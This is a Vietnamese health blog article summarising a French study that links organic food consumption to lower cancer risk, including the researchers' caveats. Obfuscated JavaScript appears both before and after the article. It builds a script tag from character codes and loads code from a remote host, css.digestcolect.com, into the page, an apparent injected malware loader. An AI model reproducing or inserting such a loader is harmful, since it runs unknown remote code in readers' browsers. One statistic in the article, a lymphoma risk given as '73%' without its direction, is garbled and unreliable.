Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Thực phẩm hữu cơ có thể phòng chống bệnh ung thư

Thực phẩm hữu cơ có thể phòng chống bệnh ung thư

 

Theo một nghiên cứu mới sử dụng thực phẩm hữu cơ có thể bảo vệ và phòng chống bệnh ung thư. Điều này có thể là một tín hiệu tốt cho công tác tuyên truyền, phòng chống bệnh ung thư ngày càng gia tăng, Jade House (www.jadehousevn.com) mới quý độc cùng cùng tìm hiểu!

Thực phẩm hữu cơ có thể phòng chống bệnh ung thư
Thực phẩm hữu cơ có thể phòng chống bệnh ung thư

Nghiên cứu này được công bố trên tạp chí JAMA Internal Medicin với báo cáo rằng những người sử dụng nhiều và thường xuyên thực phẩm hữu cơ có nguy cơ mắc ung thư thấp hơn so với những người không sử dụng. Các nhà nghiên cứu đã đưa ra một số bệnh ung thư có thể phòng tránh được là ung thư hạch không Hodgkin và ung thư vú sau mãn kinh.

Trưởng nhóm nghiên cứu, một nhà dịch tễ học tại Viện nghiên cứu quốc gia de la Sante Recherche tại Pháp đã giải thích rằng trong nghiên cứu này, họ đã xem xét chế độ ăn uống của 68.946 người Pháp. Trong số những người tham gia này, hơn ba phần tư là nữ giới và ở độ tuổi bốn mươi. Họ được chia thành bốn nhóm dựa trên mức tiêu thụ 16 loại thực phẩm hữu cơ như trái cây và rau quả, đồ ăn nhanh, thịt và cá, gia vị, gia vị và dầu thực vật và thực phẩm bổ sung. Tất cả những người tham gia được theo dõi trong vòng bốn năm rưỡi. Trong giai đoạn này, có tổng số 1.340 bệnh ung thư đã được phát hiện trong số những người tham gia và trong số này có 459 người này là ung thư vú, 180 trường hợp ung thư tuyến tiền liệt, 135 trường hợp ung thư da, 99 trường hợp ung thư đại trực tràng và 47 trường hợp ung thư hạch không Hodgkin.

Xem thêm

Cẩm nang về ung thư vú

Cẩm nang về ung thư vú (phần 2)

Để đi đến kết quả, các nhà nghiên cứu sau đó đã phân tích rủi ro và lợi ích liên quan đến thực phẩm không hữu cơ và thực phẩm hữu cơ tương ứng về tác động gây ung thư. Họ lưu ý rằng những người ăn nhiều thực phẩm hữu cơ có nguy cơ mắc bệnh ung thư thấp hơn 25%. Nguy cơ mắc ung thư hạch không Hodgkin là 73% và nguy cơ mắc ung thư vú sau mãn kinh thấp hơn 21% trong số những người ăn thực phẩm hữu cơ.

Các nhà khoa học đã kết luận rằng nếu kết quả được xác nhận, thúc đẩy tiêu thụ thực phẩm hữu cơ trong dân số nói chung có thể là một chiến lược phòng ngừa đầy hứa hẹn chống lại ung thư. Một bài bình luận được công bố cùng với nghiên cứu tại Trường Y tế Công cộng Harvard TH Chan. Các nhà khoa học giải thích rằng dư lượng thuốc trừ sâu có trong thực phẩm và hầu hết người tiêu dùng tiếp xúc với chúng. Họ nói rằng một nghiên cứu khác từ Cơ quan Nghiên cứu Ung thư Quốc tế đã phát hiện ra rằng thuốc trừ sâu trong thực phẩm có liên quan đến ung thư. Một số loại thuốc trừ sâu có liên quan bao gồm glyphosate, malathion và diazinon.

Thực phẩm hữu cơ có thể phòng chống bệnh ung thư
Thực phẩm hữu cơ có thể phòng chống bệnh ung thư

Tuy nhiên, các nhà khoa học cảnh báo rằng các kết quả nghiên cứu nên được giải thích thận trọng. Việc đánh giá chế độ ăn uống rất khó khăn, việc đánh giá lượng thực phẩm hữu cơ càng khó khăn hơn. Đó là bởi vì quyết định ăn thực phẩm hữu cơ hay không là một quyết định có yếu tố kinh tế và xã hội. Mặc dù các nhà khoa học đã tiếp cận thông tin về lý do tại sao mọi người chọn không ăn thực phẩm hữu cơ, họ vẫn coi tất cả những người không phải là người tiêu dùng thực phẩm hữu cơ giống nhau. Những người chọn không ăn thực phẩm hữu cơ có thể là những người không biết về những rủi ro sức khỏe của lối sống lành mạnh và có thể đưa ra những lựa chọn sức khỏe kém trong lối sống cũng có thể liên quan đến bệnh ung thư của họ.

Thực phẩm hữu cơ có thể phòng chống bệnh ung thư
Thực phẩm hữu cơ có thể phòng chống bệnh ung thư

Các nhà khoa học kêu gọi các nghiên cứu chuyên sâu hơn để hiểu mối quan hệ giữa thực phẩm hữu cơ và phòng chống ung thư tốt hơn. Nghiên cứu sâu hơn là cần thiết để xác định các yếu tố cụ thể chịu trách nhiệm cho tác động bảo vệ tiềm năng của việc tiêu thụ thực phẩm hữu cơ đối với nguy cơ ung thư.

Chú thích:

Ung thư hạch không Hodgkin còn được gọi là U lympho không Hodgkin hay u lympho ác tính không Hodgkin. Bệnh ung thư này phát triển trong hệ bạch huyết – mạng lưới ngăn chặn sự tràn lan của các bệnh trong cơ thể; các khối u này phát triển từ tế bào lympho (tế bào máu trắng). Cơ quan sản sinh ra tế bào lympho này là bạch huyết, lá lách và các cơ quan khác của hệ thống miễn dịch và căn bệnh này có thể phát triển ở bất cứ bộ phần nào và lan sang các bộ phận khác của cơ thể.

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh

3 thoughts on “Thực phẩm hữu cơ có thể phòng chống bệnh ung thư”

  1. Pingback: Thực phẩm hữu cơ và lợi ích sức khỏe

  2. Pingback: Thực phẩm hữu cơ với thực phẩm thông thường

  3. Pingback: Sự khác biệt giữa sản phẩm hữu cơ và thông thường

Comments are closed.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();